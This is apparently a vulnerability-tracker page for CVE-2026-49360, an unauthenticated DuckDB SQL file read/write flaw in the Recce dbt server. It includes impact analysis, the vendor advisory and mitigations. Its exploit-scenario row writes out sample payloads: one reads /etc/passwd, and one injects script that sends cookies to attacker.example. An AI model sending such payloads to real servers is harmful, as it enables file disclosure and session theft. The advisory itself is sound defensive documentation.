Recce CVE-2026-49360
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify unauthenticated Recce server on untrusted network
-
DeliveryPOST crafted DuckDB SQL to query run API
-
ExploitInvoke DuckDB filesystem primitives in SQL payload
-
ExecutionRead sensitive local files or overwrite browser-served static content
-
ImpactStored XSS executes in victim browsers or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | Three specific conditions must be true simultaneously for exploitation: (1) Recce must be configured with a DuckDB-backed project - deployments using other warehouse adapters (Snowflake, BigQuery, Redshift, etc.) are not affected by this specific file I/O vector, though the advisory notes those adapters were reviewed for similar exposure. (2) The recce server process must be reachable from the attacker's network - it must not be bound exclusively to localhost or isolated behind a firewall. (3) No authentication must be enforced - the server must be running without built-in auth or an authenticating reverse proxy or VPN in front of it. The CVSS 4.0 vector (PR:N, UI:N) confirms exploitation is unauthenticated and requires no victim interaction. Factors that limit exploitation: use of a non-DuckDB warehouse adapter (eliminates the DuckDB filesystem primitive vector); network isolation to trusted hosts only; authentication enforcement at the server or proxy layer; running as a non-root user (constrains but does not eliminate the file access scope); and a read-only application filesystem (prevents write-based XSS injection but not read-based exfiltration). |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms a high-exploitability, network-accessible, unauthenticated attack requiring no user interaction and no special attack conditions beyond the DuckDB backend. The subsequent-system integrity rating of SI:H accurately captures the stored XSS vector, where file writes to browser-served static content propagate impact to every user of the application. No EPSS score was provided in the input data and the CVE is not listed in CISA KEV, so active exploitation is not confirmed and exploitation probability cannot be quantified from available signals. Real-world risk is strongly deployment-dependent: instances bound to localhost or protected by authentication middleware are minimally exposed, while any public-internet deployment without an authenticating proxy is immediately and trivially exploitable with only knowledge of DuckDB's SQL dialect. The root-as-container-escape scenario represents the highest-severity tail risk and warrants urgent remediation even in ostensibly isolated environments. |
| Exploit ScenarioDerived | An attacker discovers a network-exposed Recce server (e.g., via Shodan or internal network scan) and sends a crafted HTTP POST to the query run API endpoint with a DuckDB SQL payload such as SELECT read_text('/etc/passwd') or SELECT write_text('/app/static/index.html', '<script>document.location="https://attacker.example/c?c="+document.cookie</script>'). The first payload immediately returns the contents of local files; the second silently injects persistent JavaScript into every browser session that loads the Recce frontend. No credentials, user interaction, or prior access are required. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 21, 2026
Unauthenticated SQL execution through Recce's query run API exposes DuckDB-backed deployments to arbitrary local file read and write by any network-reachable attacker. All pip/recce versions up to and including 1.49.0 are affected when the server is exposed to an untrusted network without authentication. Attackers can exfiltrate files accessible to the Recce process, tamper with dbt artifacts, inject stored XSS into browser-served static files, and achieve root-level file access if Recce runs as root. No public exploit has been identified at time of analysis; vendor-released patch is available in v1.50.0.
Earlier versions of this analysis (1)
Unauthenticated arbitrary file read/write in Recce OSS server (DataRecce, PyPI package 'recce') affects DuckDB-backed deployments exposed to untrusted networks, where the query run API executes attacker-supplied SQL without authentication. By abusing DuckDB filesystem primitives an attacker can read and write files accessible to the server process, enabling local file disclosure, tampering with dbt/Recce artifacts, and injection of stored XSS into browser-served static files. No public exploit identified at time of analysis; the issue is fixed in Recce v1.50.0.
RemediationAI
The primary fix is to upgrade to Recce v1.50.0 or later via pip install --upgrade recce; the release is available at https://github.com/DataRecce/recce/releases/tag/v1.50.0 and the advisory is at https://github.com/DataRecce/recce/security/advisories/GHSA-rh62-j648-g5qc. The patch restricts DuckDB's filesystem primitives within the query execution path. For deployments that cannot upgrade immediately, the vendor recommends the following compensating controls: (1) Avoid exposing recce server to the public internet or any untrusted network - binding to localhost and tunneling access is the strongest isolation with no trade-offs beyond access convenience. (2) Place Recce behind an authenticating reverse proxy (e.g., nginx with HTTP Basic Auth or OAuth2 Proxy) or a VPN - this eliminates the unauthenticated exposure but adds infrastructure complexity and a dependency on the proxy's own security. (3) Run Recce as a non-root, minimally privileged OS user - this limits file access to the user's home directory and application paths rather than the entire filesystem, though it does not eliminate file read/write risk. (4) Mount or make available only the directories strictly required by the Recce process, and use a read-only filesystem for application and static content paths where possible - this prevents the stored XSS write vector but requires container or filesystem configuration changes. Removing sensitive credentials and files from any path accessible to the Recce process is advised regardless of whether upgrade is performed immediately.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Recce (pkg:pip/recce) is a Python-based open-source dbt companion server used to compare data models across environments. It supports multiple warehouse adapters; the vulnerability specifically affects the DuckDB adapter. DuckDB exposes powerful built-in filesystem primitives - functions such as read_text(), write_text(), and glob-capable parquet_scan() - that can be invoked directly through standard SQL. CWE-73 (External Control of File Name or Path) identifies the root cause: the query run API endpoint passes attacker-supplied SQL to DuckDB without restricting its filesystem-level functions, enabling full path traversal and arbitrary file I/O bounded only by the process's OS-level permissions. Because the endpoint also lacks authentication enforcement, the attack surface is fully available to unauthenticated callers on any network to which the server is exposed.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:H/SA:N
Network-accessible unauthenticated endpoint (AV:N/PR:N/AC:L), scope changes because stored XSS impacts browser users (S:C), confidentiality limited to process-accessible files (C:L), high integrity impact from arbitrary file writes and persistent XSS injection (I:H), no availability impact identified (A:N).
Primary rating from Vendor (https://github.com/DataRecce/recce).
CVSS VectorVendor: https://github.com/DataRecce/recce
Lifecycle Timeline
2DescriptionCVE.org
Impact
Recce OSS server deployments that expose the server to an untrusted network without authentication are vulnerable to unauthenticated SQL execution through the query run API.
When Recce is configured with a DuckDB-backed project, an attacker can use DuckDB filesystem primitives to read and write files accessible to the Recce server process. The impact depends on how Recce is deployed, but may include disclosure of local files, tampering with Recce/dbt artifacts, modification of browser-served static files leading to stored XSS, and modification of application files if those paths are writable. If Recce is run as root, file access occurs with root privileges inside that host or container.
Patches
This issue has been patched in Recce v1.50.0. Users should upgrade to Recce v1.50.0 or later.
The patch restricts unsafe file read/write behavior for DuckDB-backed query execution and hardens the affected query path. Other warehouse adapters have also been reviewed for similar exposure.
Credits
Thanks to Sitampan (@hxcbtc) for responsibly reporting this issue.
Workarounds
Users who cannot upgrade immediately should avoid exposing recce server to the public internet or any untrusted network.
Recommended mitigations include enabling authentication or placing Recce behind an authenticated reverse proxy/VPN, running Recce as a non-root user, using a read-only application filesystem where possible, and ensuring that sensitive files or credentials are not available to the Recce process.
Executive ViewAI
Recce versions up to 1.49.0 contain an unauthenticated SQL execution vulnerability accessible over the network, allowing attackers to read and write arbitrary files and access sensitive data. Organizations running exposed Recce instances face risks of data breach, system compromise, and operational disruption.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
GHSA-rh62-j648-g5qc
NVD
CVE.org
EPSS
Exploit-DB